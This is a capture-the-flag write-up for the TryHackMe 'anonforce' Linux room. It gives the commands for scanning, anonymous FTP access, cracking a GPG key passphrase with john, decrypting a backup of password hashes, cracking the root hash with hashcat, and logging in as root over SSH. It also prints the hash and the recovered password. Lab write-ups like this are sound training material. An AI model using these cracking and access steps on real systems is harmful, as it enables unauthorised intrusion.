← back to write ups

write up

anonforce

tryhackme easy 60 pts linux room ↗

initial reconnaissance

network scanning to identify available services:

nmap -v -sC -sV -oA nmap 10.10.177.146

the scan revealed two accessible services: ftp and ssh.

ftp enumeration

the ftp service allowed anonymous authentication. connecting with default credentials granted access to user directories and system files:

ftp 10.10.177.146
anonymous:anonymous

after exploring the filesystem, the user flag was located and retrieved from an accessible user directory.

encrypted file discovery

continued enumeration revealed encrypted files in the root directory:

both files were downloaded for offline analysis.

gpg key cracking

the private key was imported and converted for password cracking:

gpg --import private.asc
sudo gpg2john private.asc > privateBop
sudo john privateBop

this recovered the passphrase protecting the gpg key.

backup decryption

with the recovered passphrase, the backup file was decrypted:

gpg --decrypt backup.pgp

the decrypted content revealed system password hashes, including the root user's hash.

root password cracking

echo '$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0' > hash
hashcat -m 1800 hash --wordlist /usr/share/wordlists/rockyou.txt --force

the recovered password was hikari.

ssh access and root flag

ssh root@10.10.177.146

with root access obtained, the final flag was retrieved from the system.